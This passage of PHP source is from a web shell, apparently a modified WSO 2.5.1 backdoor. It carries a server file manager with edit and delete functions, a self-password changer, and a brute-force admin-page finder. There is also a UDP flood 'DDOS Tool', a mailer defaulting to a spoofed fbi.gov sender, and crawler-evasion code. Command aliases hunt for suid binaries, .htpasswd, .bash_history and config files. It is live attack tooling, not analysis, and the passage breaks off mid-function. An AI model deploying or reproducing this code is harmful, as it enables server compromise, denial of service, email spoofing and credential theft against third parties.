662 echo "<td><a style='color:white' href=?x=rename&name=$path/$a1&oldname=$a1&path=$path>rename</a> | <a style='color:white' href=\"javascript:delfile('$path','$a1','dir')\">delete</a> </td>";
663 echo "</tr>";
664 }
665 //files
666 foreach($a as $a1){
667 $perm = perms($path."/".$a1);
668 if(!is_file($path."/".$a1)) continue;
669 $fsize=convertByte(filesize($path."/" . $a1));
670 echo "<tr class=tr>";
671 echo "<td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> <a style='color:white' href='?x=view&path=$path&name=$a1'>".$a1."</a></td>";
672 echo "<td>$fsize</td>";
673 echo "<td>"; if(fileowner($path."/".$a1)== 0){ echo "???";}else{fileowner($path."/".$a1);}echo "/";if(filegroup($path."/".$a1)== 0){echo "???";}else{filegroup($path."/".$a1);}
674 echo "</td>";
675 echo "<td>";
676 if(is_writable("$path/$a1")) echo "<font color='lime'>";
677 elseif(!is_writable("$path/$a1")) echo "<font color='red'>";
678 echo $perm;
679 if(is_writable("$path/$a1") || !is_readable("$path/$a1")) echo "</font>";
680 echo "</td>";
681 echo "<td><a style='color:white' href=?x=rename&name=$path/$a1&oldname=$a1&path=$path>rename</a> |<a href='?x=edit&path=$path&name=$a1' style=color:white> edit</a> | <a style='color:white' href=\"javascript:delfile('$path','$a1','file')\">delete</a> </td>";
682 echo "</tr>";
683 }
684 ?>
685 </table>
686 <?php
687 }
688 else if(isset($_GET['x']) && $_GET['x']=='view'){
689 echo "
690 <table style=\"margin:6px 0 0 2px;line-height:20px;font-size:11px\">
691 <tr><td>File Name </td><td>: ".$_GET['name']."</td></tr><td></td>
692 <tr><td>Size </td><td>: ".filesize($_GET['path'].'/'.$_GET['name'])."</td></tr><td></td>
693 <tr><td>Permission</td><td>: ".perms($_GET['path'].'/'.$_GET['name'])."</td></tr><td></td>
694 <tr><td>Owner</td><td>: ".fileowner($_GET['path'].'/'.$_GET['name'])."</td></tr><td></td>
695 <tr><td>Action</td><td>: <a style='color:white' href=?x=rename&name=".$_GET['path'].">rename</a> /<a href='?x=edit&path=".$path."&name=".$_GET['name']."' style=color:white> edit / <a style='color:white' href=\"javascript:delfile('$path','".$_GET['name']."','file')\">delete</a> </td></tr><td></td>
696 </table>
697 <div>
698 <pre class='viewfile'>".htmlspecialchars(file_get_contents($_GET['path'].'/'.$_GET['name'])) ."</pre>
699 </div>";
700 }elseif(isset($_GET['x']) && $_GET['x']=='changepass'){
701 ?>
702 <?php
703function fgc($file){
704 return file_get_contents($file);
705}
706function changepass($plain){
707 $newpass = sha1(md5($plain));
708 $newpass = "\$auth_pass = \"".$newpass."\";";
709 $con = fgc($_SERVER['SCRIPT_FILENAME']);
710 $con = preg_replace("/\\\$auth_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
711 return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
712}
713echo '<center><h1>Change Shell Password</h1></center>';
714echo '<center>';
715echo '<form action="" method=post ><table>';
716echo '<tr><td><font color="lime">New Password</td><td> : </font> <input type=password name=pass1 style="border:2px solid green;border-radius:5px;background:black;color:red" /></td></tr>';
717echo '<tr><td><font color="lime">Confirm Password</td><td> : </font> <input type=password name=pass2 style="border:2px solid green;border-radius:5px;background:black;color:red" /></td></tr>';
718echo '<tr><td colspan=2><input type=submit value=submit name=L style="border:2px solid green;border-radius:5px;background:black;color:red;width:100%"/></td></tr></table>';
719echo '</form>';
720if(isset($_POST['L'])){
721 if($_POST['pass1'] == $_POST['pass2']){
722 if(changepass($_POST['pass1'])){
723 echo '<script>alert("password change successfully")</script>';
724 }else{
725 echo '<script>alert("password change failed")</script>';
726 }
727 }else{
728 echo '<script>alert("password not match")</script>';
729 }
730}
731 ?>
732 <?php
733 }
734 else if(isset($_GET['x']) && $_GET['x']=='edit'){
735 if(isset($_POST['src'])){
736 $fp = fopen($_GET['path'].'/'.$_GET['name'],"w");
737 if(fwrite($fp,$_POST['src'])){
738 $editfile = 'success';
739 }else{
740 $editfile = 'failed';
741 }
742 fclose($fp);
743 }
744
745 echo "
746 <form method=post>
747 <input type=hidden name=x value=edit>
748 <textarea style='height:400px;width:100%;background:white;color:black;border-radius:10px' name=src>";
749 if(is_file($_GET['path'].'/'.$_GET['name'])) echo htmlspecialchars(file_get_contents($_GET['path'].'/'.$_GET['name']));
750 echo "</textarea><br/>
751 Save as <input type=text value=".$_GET['path'].'/'.$_GET['name']." name='path' style='width:60%;background:#6a0707;border:black;color:white;border-radius:5px;border:1px solid blue'/> <input type=submit value=go style='background:#6a0707;border:black;color:white;border-radius:5px;border:1px solid blue' />
752 ";
753 if($editfile == 'success' || $editfile == 'failed'){
754 if($editfile == 'success'){ echo "<font color=\"green\">$editfile</font>";}
755 else{ echo "<font color=\"green\">$editfile</font>";}
756 }
757 echo "</form>";
758 }
759 else if(isset($_GET['x']) && $_GET['x']=='adminfinder'){
760 ?>
761<?php
762$list['front'] ="admin
763adm
764admincp
765admcp
766cp
767modcp
768moderatorcp
769adminare
770admins
771cpanel
772controlpanel";
773$list['end'] = "admin1.php
774admin1.html
775admin2.php
776admin2.html
777yonetim.php
778yonetim.html
779yonetici.php
780yonetici.html
781ccms/
782ccms/login.php
783ccms/index.php
784maintenance/
785webmaster/
786adm/
787configuration/
788configure/
789websvn/
790admin/
791admin/account.php
792admin/account.html
793admin/index.php
794admin/index.html
795admin/login.php
796admin/login.html
797admin/home.php
798admin/controlpanel.html
799admin/controlpanel.php
800admin.php
801admin.html
802admin/cp.php
803admin/cp.html
804cp.php
805cp.html
806administrator/
807administrator/index.html
808administrator/index.php
809administrator/login.html
810administrator/login.php
811administrator/account.html
812administrator/account.php
813administrator.php
814administrator.html
815login.php
816login.html
817modelsearch/login.php
818moderator.php
819moderator.html
820moderator/login.php
821moderator/login.html
822moderator/admin.php
823moderator/admin.html
824moderator/
825account.php
826account.html
827controlpanel/
828controlpanel.php
829controlpanel.html
830admincontrol.php
831admincontrol.html
832adminpanel.php
833adminpanel.html
834admin1.asp
835admin2.asp
836yonetim.asp
837yonetici.asp
838admin/account.asp
839admin/index.asp
840admin/login.asp
841admin/home.asp
842admin/controlpanel.asp
843admin.asp
844admin/cp.asp
845cp.asp
846administrator/index.asp
847administrator/login.asp
848administrator/account.asp
849administrator.asp
850login.asp
851modelsearch/login.asp
852moderator.asp
853moderator/login.asp
854moderator/admin.asp
855account.asp
856controlpanel.asp
857admincontrol.asp
858adminpanel.asp
859fileadmin/
860fileadmin.php
861fileadmin.asp
862fileadmin.html
863administration/
864administration.php
865administration.html
866sysadmin.php
867sysadmin.html
868phpmyadmin/
869myadmin/
870sysadmin.asp
871sysadmin/
872ur-admin.asp
873ur-admin.php
874ur-admin.html
875ur-admin/
876Server.php
877Server.html
878Server.asp
879Server/
880wp-admin/
881administr8.php
882administr8.html
883administr8/
884administr8.asp
885webadmin/
886webadmin.php
887webadmin.asp
888webadmin.html
889administratie/
890admins/
891admins.php
892admins.asp
893admins.html
894administrivia/
895Database_Administration/
896WebAdmin/
897useradmin/
898sysadmins/
899admin1/
900system-administration/
901administrators/
902pgadmin/
903directadmin/
904staradmin/
905ServerAdministrator/
906SysAdmin/
907administer/
908LiveUser_Admin/
909sys-admin/
910typo3/
911panel/
912cpanel/
913cPanel/
914cpanel_file/
915platz_login/
916rcLogin/
917blogindex/
918formslogin/
919autologin/
920support_login/
921meta_login/
922manuallogin/
923simpleLogin/
924loginflat/
925utility_login/
926showlogin/
927memlogin/
928members/
929login-redirect/
930sub-login/
931wp-login/
932login1/
933dir-login/
934login_db/
935xlogin/
936smblogin/
937customer_login/
938UserLogin/
939login-us/
940acct_login/
941admin_area/
942bigadmin/
943project-admins/
944phppgadmin/
945pureadmin/
946sql-admin/
947radmind/
948openvpnadmin/
949wizmysqladmin/
950vadmind/
951ezsqliteadmin/
952hpwebjetadmin/
953newsadmin/
954adminpro/
955Lotus_Domino_Admin/
956bbadmin/
957vmailadmin/
958Indy_admin/
959ccp14admin/
960irc-macadmin/
961banneradmin/
962sshadmin/
963phpldapadmin/
964macadmin/
965administratoraccounts/
966admin4_account/
967admin4_colon/
968radmind-1/
969Super-Admin/
970AdminTools/
971cmsadmin/
972SysAdmin2/
973globes_admin/
974cadmins/
975phpSQLiteAdmin/
976navSiteAdmin/
977server_admin_small/
978logo_sysadmin/
979server/
980database_administration/
981power_user/
982system_administration/
983ss_vms_admin_sm/
984adminarea/
985bb-admin/
986adminLogin/
987panel-administracion/
988instadmin/
989memberadmin/
990administratorlogin/
991admin/admin.php
992admin_area/admin.php
993admin_area/login.php
994siteadmin/login.php
995siteadmin/index.php
996siteadmin/login.html
997admin/admin.html
998admin_area/index.php
999bb-admin/index.php
1000bb-admin/login.php
1001bb-admin/admin.php
1002admin_area/login.html
1003admin_area/index.html
1004admincp/index.asp
1005admincp/login.asp
1006admincp/index.html
1007webadmin/index.html
1008webadmin/admin.html
1009webadmin/login.html
1010admin/admin_login.html
1011admin_login.html
1012panel-administracion/login.html
1013nsw/admin/login.php
1014webadmin/login.php
1015admin/admin_login.php
1016admin_login.php
1017admin_area/admin.html
1018pages/admin/admin-login.php
1019admin/admin-login.php
1020admin-login.php
1021bb-admin/index.html
1022bb-admin/login.html
1023bb-admin/admin.html
1024admin/home.html
1025pages/admin/admin-login.html
1026admin/admin-login.html
1027admin-login.html
1028admin/adminLogin.html
1029adminLogin.html
1030home.html
1031rcjakar/admin/login.php
1032adminarea/index.html
1033adminarea/admin.html
1034webadmin/index.php
1035webadmin/admin.php
1036user.html
1037modelsearch/login.html
1038adminarea/login.html
1039panel-administracion/index.html
1040panel-administracion/admin.html
1041modelsearch/index.html
1042modelsearch/admin.html
1043admincontrol/login.html
1044adm/index.html
1045adm.html
1046user.php
1047panel-administracion/login.php
1048wp-login.php
1049adminLogin.php
1050admin/adminLogin.php
1051home.php
1052adminarea/index.php
1053adminarea/admin.php
1054adminarea/login.php
1055panel-administracion/index.php
1056panel-administracion/admin.php
1057modelsearch/index.php
1058modelsearch/admin.php
1059admincontrol/login.php
1060adm/admloginuser.php
1061admloginuser.php
1062admin2/login.php
1063admin2/index.php
1064adm/index.php
1065adm.php
1066affiliate.php
1067adm_auth.php
1068memberadmin.php
1069administratorlogin.php
1070admin/admin.asp
1071admin_area/admin.asp
1072admin_area/login.asp
1073admin_area/index.asp
1074bb-admin/index.asp
1075bb-admin/login.asp
1076bb-admin/admin.asp
1077pages/admin/admin-login.asp
1078admin/admin-login.asp
1079admin-login.asp
1080user.asp
1081webadmin/index.asp
1082webadmin/admin.asp
1083webadmin/login.asp
1084admin/admin_login.asp
1085admin_login.asp
1086panel-administracion/login.asp
1087adminLogin.asp
1088admin/adminLogin.asp
1089home.asp
1090adminarea/index.asp
1091adminarea/admin.asp
1092adminarea/login.asp
1093panel-administracion/index.asp
1094panel-administracion/admin.asp
1095modelsearch/index.asp
1096modelsearch/admin.asp
1097admincontrol/login.asp
1098adm/admloginuser.asp
1099admloginuser.asp
1100admin2/login.asp
1101admin2/index.asp
1102adm/index.asp
1103adm.asp
1104affiliate.asp
1105adm_auth.asp
1106memberadmin.asp
1107administratorlogin.asp
1108siteadmin/login.asp
1109siteadmin/index.asp
1110ADMIN/
1111paneldecontrol/
1112login/
1113cms/
1114admon/
1115ADMON/
1116administrador/
1117ADMIN/login.php
1118panelc/
1119ADMIN/login.html";
1120function template() {
1121echo '
1122
1123<script type="text/javascript">
1124<!--
1125function insertcode($text, $place, $replace)
1126{
1127var $this = $text;
1128var logbox = document.getElementById($place);
1129if($replace == 0)
1130document.getElementById($place).innerHTML = logbox.innerHTML+$this;
1131else
1132document.getElementById($place).innerHTML = $this;
1133//document.getElementById("helpbox").innerHTML = $this;
1134}
1135-->
1136</script>
1137
1138<div class="wrapper">
1139<div class="red">
1140<div class="tube">
1141<center><table class="tabnet"><th class="th1" colspan="2">Admin Finder</th><tr><td>
1142<form action="" method="post" name="xploit_form">
1143
1144<tr>
1145<tr>
1146<b><td>URL</td>
1147<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
1148</td>
1149</tr><tr>
1150<td>404 string</td>
1151<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
1152</td></b>
1153</tr><br><td>
1154<span style="float: center;color:white"><input style="color:white" class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
1155</span></td></tr>
1156</form></td></tr>
1157<br /></table>
1158</div> <!-- /tube -->
1159</div> <!-- /red -->
1160<br />
1161<div class="green">
1162<div class="tube" id="rightcol">
1163Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
1164<b>Found ones:<br /></b>
1165</div> <!-- /tube -->
1166</div></center><!-- /green -->
1167<br clear="all" /><br />
1168<div class="blue">
1169<div class="tube" id="logbox">
1170<br />
1171<br />
1172Admin page Finder :<br /><br />
1173</div> <!-- /tube -->
1174</div> <!-- /blue -->
1175</div> <!-- /wrapper -->
1176<br clear="all"><br>';
1177}
1178function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
1179if($br == 1) $msg .= "<br />";
1180echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
1181if($stop == 1) exit;
1182@flush();@ob_flush();
1183}
1184function check($x, $front=0) {
1185global $_POST,$site,$false;
1186if($front == 0) $t = $site.$x;
1187else $t = 'http://'.$x.'.'.$site.'/';
1188$headers = get_headers($t);
1189if (!eregi('200', $headers[0])) return 0;
1190$data = @file_get_contents($t);
1191if($_POST['xploit_404string'] == "") if($data == $false) return 0;
1192if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
1193return 1;
1194}
1195template();
1196if(!isset($_POST['xploit_url'])) die;
1197if($_POST['xploit_url'] == '') die;
1198$site = $_POST['xploit_url'];
1199if ($site[strlen($site)-1] != "/") $site .= "/";
1200if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
1201$list['end'] = str_replace("\r", "", $list['end']);
1202$list['front'] = str_replace("\r", "", $list['front']);
1203$pathes = explode("\n", $list['end']);
1204$frontpathes = explode("\n", $list['front']);
1205show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
1206$verificate = 0;
1207foreach($pathes as $path) {
1208show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
1209$verificate++; show($verificate, 0, 0, 'verified', 1);
1210if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
1211else{
1212show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
1213show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
1214}
1215}
1216preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
1217if(substr($site, 0, 3) == "www") $site = substr($site, 4);
1218foreach($frontpathes as $frontpath) {
1219show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
1220$verificate++; show($verificate, 0, 0, 'verified', 1);
1221if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
1222else{
1223show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
1224show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
1225}
1226
1227}
1228}
1229
1230?>
1231 <?php
1232 if(isset($_GET['view'])){
1233 if($_GET['type']=='dir'){
1234 if(is_dir($_GET['view'])){
1235 echo "<script>location='?x=files&path=".$_GET['view']."'</script>";
1236 }else{
1237 echo "<script>alert('folder not found')</script>";
1238 echo "<script>location='?x=files&path=$path'</script>";
1239 }
1240 }elseif($_GET['type']=='file'){
1241 if(is_file($path.'/'.$_GET['view'])){
1242 echo "<script>location='?x=view&path=$path&name=".$_GET['view']."'</script>";
1243 }else{
1244 echo "<script>alert('file not found')</script>";
1245 echo "<script>location='?x=files&path=$path'</script>";
1246 }
1247 }
1248 }
1249 ?>
1250<?php
1251$my_ip = $_SERVER['REMOTE_ADDR'];
1252if(isset($_GET['x']) && ($_GET['x'] == 'dos'))
1253{
1254?>
1255<form action="?path=<?php echo $path; ?>&x=dos" method="post">
1256<center><br>
1257Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don't DDOS yourself noob)<br><br>
1258<table class="tabnet" style="width:333px;padding:0 1px;">
1259<th class=th1 colspan="5">DDOS Tool</th>
1260<tr><tr><td>IP Target</td><td>:</td>
1261<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
1262</td></tr>
1263<tr><td>Time</td><td>:</td>
1264<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
1265</td></tr>
1266
1267<tr><td>Port</td><td>:</td>
1268<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
1269</td></tr></tr></table></b><br>
1270<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
1271<br><br>
1272<center>
1273After initiating the DDOS attack, please wait while the browser loads.
1274</center>
1275
1276</form>
1277</center>
1278<?php
1279if (isset($_POST['fire'])) {
1280$submit = $_POST['fire'];
1281$packets = 0;
1282$ip = $_POST['ip'];
1283$rand = $_POST['port'];
1284set_time_limit(0);
1285ignore_user_abort(FALSE);
1286
1287$exec_time = $_POST['time'];
1288
1289$time = time();
1290print "Flooded: $ip on port $rand <br><br>";
1291$max_time = $time+$exec_time;
1292
1293
1294
1295for($i=0;$i<65535;$i++){
1296$out = "X";
1297}
1298while(1){
1299$packets++;
1300if(time() > $max_time){
1301break;
1302}
1303
1304$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
1305if($fp){
1306fwrite($fp, $out);
1307fclose($fp);
1308}
1309}
1310echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
1311}
1312}
1313?>
1314<?php
1315function magicboom($text){
1316if (!get_magic_quotes_gpc()) {
1317return $text;
1318}
1319return stripslashes($text);
1320}
1321if(isset($_GET['x']) && ($_GET['x'] == 'mail')){
1322if(isset($_POST['mail_send'])){
1323$mail_to = $_POST['mail_to'];
1324$mail_from = $_POST['mail_from'];
1325$mail_subject = $_POST['mail_subject'];
1326$mail_content = magicboom($_POST['mail_content']);
1327if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
1328$msg = "email sent to $mail_to";
1329}
1330else $msg = "send email failed";
1331}
1332?>
1333<form action="?x=mail" method="post">
1334<table class="cmdbox">
1335<tr><td>
1336<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me A.S.A.P</textarea>
1337<tr><td> <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> mail to</td></tr>
1338<tr><td> <input class="inputz" style="width:20%;" type="text" value="BlackEagle@fbi.gov" name="mail_from" /> from</td></tr>
1339<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
1340<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
1341<tr><td> <?php echo $msg; ?></td></tr>
1342</table>
1343</form>
1344<?php
1345}
1346if(isset($_GET['x']) && ($_GET['x']=='L')){
1347?>
1348<?php
1349
1350$color = "#df5";
1351$default_action = 'FilesMan';
1352$default_use_ajax = true;
1353$default_charset = 'Windows-1251';
1354
1355if(!empty($_SERVER['HTTP_USER_AGENT'])) {
1356 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
1357 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
1358 header('HTTP/1.0 404 Not Found');
1359 exit;
1360 }
1361}
1362
1363@ini_set('error_log',NULL);
1364@ini_set('log_errors',0);
1365@ini_set('max_execution_time',0);
1366@set_time_limit(0);
1367@set_magic_quotes_runtime(0);
1368@define('WSO_VERSION', '2.5.1');
1369
1370if(get_magic_quotes_gpc()) {
1371 function WSOstripslashes($array) {
1372 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
1373 }
1374 $_POST = WSOstripslashes($_POST);
1375 $_COOKIE = WSOstripslashes($_COOKIE);
1376}
1377
1378function wsoLogin() {
1379 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
1380}
1381
1382function WSOsetcookie($k, $v) {
1383 $_COOKIE[$k] = $v;
1384 setcookie($k, $v);
1385}
1386
1387if(!empty($auth_pass)) {
1388 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
1389 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
1390
1391
1392if(strtolower(substr(PHP_OS,0,3)) == "win")
1393 $os = 'win';
1394else
1395 $os = 'nix';
1396
1397$safe_mode = @ini_get('safe_mode');
1398if(!$safe_mode)
1399 error_reporting(0);
1400
1401$disable_functions = @ini_get('disable_functions');
1402$home_cwd = @getcwd();
1403if(isset($_POST['c']))
1404 @chdir($_POST['c']);
1405$cwd = @getcwd();
1406if($os == 'win') {
1407 $home_cwd = str_replace("\\", "/", $home_cwd);
1408 $cwd = str_replace("\\", "/", $cwd);
1409}
1410if($cwd[strlen($cwd)-1] != '/')
1411 $cwd .= '/';
1412
1413if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
1414 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
1415
1416if($os == 'win')
1417 $aliases = array(
1418 "List Directory" => "dir",
1419 "Find index.php in current dir" => "dir /s /w /b index.php",
1420 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
1421 "Show active connections" => "netstat -an",
1422 "Show running services" => "net start",
1423 "User accounts" => "net user",
1424 "Show computers" => "net view",
1425 "ARP Table" => "arp -a",
1426 "IP Configuration" => "ipconfig /all"
1427 );
1428else
1429 $aliases = array(
1430 "List dir" => "ls -lha",
1431 "list file attributes on a Linux second extended file system" => "lsattr -va",
1432 "show opened ports" => "netstat -an | grep -i listen",
1433 "process status" => "ps aux",
1434 "Find" => "",
1435 "find suid" => "find / -type f -perm -04000 -ls",
1436 "find suid in current dir" => "find . -type f -perm -04000 -ls",
1437 "find sgid" => "find / -type f -perm -02000 -ls",
1438 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
1439 "find config.inc.php" => "find / -type f -name config.inc.php",
1440 "find config*" => "find / -type f -name \"config*\"",
1441 "find config* in current dir" => "find . -type f -name \"config*\"",
1442 "find writable folders and files" => "find / -perm -2 -ls",
1443 "find writable folders and files in current dir" => "find . -perm -2 -ls",
1444 "find service.pwd" => "find / -type f -name service.pwd",
1445 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
1446 "find .htpasswd" => "find / -type f -name .htpasswd",
1447 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
1448 "find .bash_history" => "find / -type f -name .bash_history",
1449 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
1450 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
1451 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
1452 "Locate" => "",
1453 "locate httpd.conf" => "locate httpd.conf",
1454 "locate vhosts.conf" => "locate vhosts.conf",
1455 "locate proftpd.conf" => "locate proftpd.conf",
1456 "locate psybnc.conf" => "locate psybnc.conf",
1457 "locate my.conf" => "locate my.conf",
1458 "locate admin.php" =>"locate admin.php",
1459 "locate cfg.php" => "locate cfg.php",
1460 "locate conf.php" => "locate conf.php",
1461 "locate config.dat" => "locate config.dat",
1462 "locate config.php" => "locate config.php",
1463 "locate config.inc" => "locate config.inc",
1464 "locate config.inc.php" => "locate config.inc.php",
1465 "locate config.default.php" => "locate config.default.php",
1466 "locate config*" => "locate config",
1467 "locate .conf"=>"locate '.conf'",
1468 "locate .pwd" => "locate '.pwd'",
1469 "locate .sql" => "locate '.sql'",
1470 "locate .htpasswd" => "locate '.htpasswd'",
1471 "locate .bash_history" => "locate '.bash_history'",
1472 "locate .mysql_history" => "locate '.mysql_history'",
1473 "locate .fetchmailrc" => "locate '.fetchmailrc'",
1474 "locate backup" => "locate backup",
1475 "locate dump" => "locate dump",
1476 "locate priv" => "locate priv"
1477 );
1478
1479function wsoHeader() {
1480 if(empty($_POST['charset']))
1481 $_POST['charset'] = $GLOBALS['default_charset'];
1482 global $color;
1483 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
1484<style>
1485#red {
1486 width:100%;
1487 height: 08px;
1488 position: fixed;
1489 left: 0;
1490 right: 0;
1491 bottom: 0;
1492}
1493</style>
1494<style>
1495body {background-color:#000;color:#fff;}
1496body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
1497span,h1,a{ color: #00ff00 !important; }
1498span{ font-weight: bolder; }
1499h1{ border:1px solid #00ff00;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
1500div.content{ padding: 5px;margin-left:5px;}
1501a{ text-decoration:none; }
1502a:hover{ background:#ff0000; }
1503.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
1504.bigarea{ width:100%;height:250px; }
1505input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,'Courier New'; }
1506form{ margin:0px; }
1507#toolsTbl{ text-align:center; }
1508.toolsInp{ width: 80%; }
1509.main th{text-align:left;}
1510.main tr:hover{background-color:#5e5e5e;}
1511.main td, th{vertical-align:middle;}
1512pre{font-family:Courier,Monospace;}
1513#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
1514</style>
1515<script>
1516 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
1517 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
1518 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
1519 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
1520 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
1521 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
1522 var d = document;
1523 function set(a,c,p1,p2,p3,charset) {
1524 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
1525 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
1526 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
1527 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
1528 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
1529 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
1530 }
1531 function g(a,c,p1,p2,p3,charset) {
1532 set(a,c,p1,p2,p3,charset);
1533 d.mf.submit();
1534 }
1535 function a(a,c,p1,p2,p3,charset) {
1536 set(a,c,p1,p2,p3,charset);
1537 var params = 'ajax=true';
1538 for(i=0;i<d.mf.elements.length;i++)
1539 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
1540 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
1541 }
1542 function sr(url, params) {
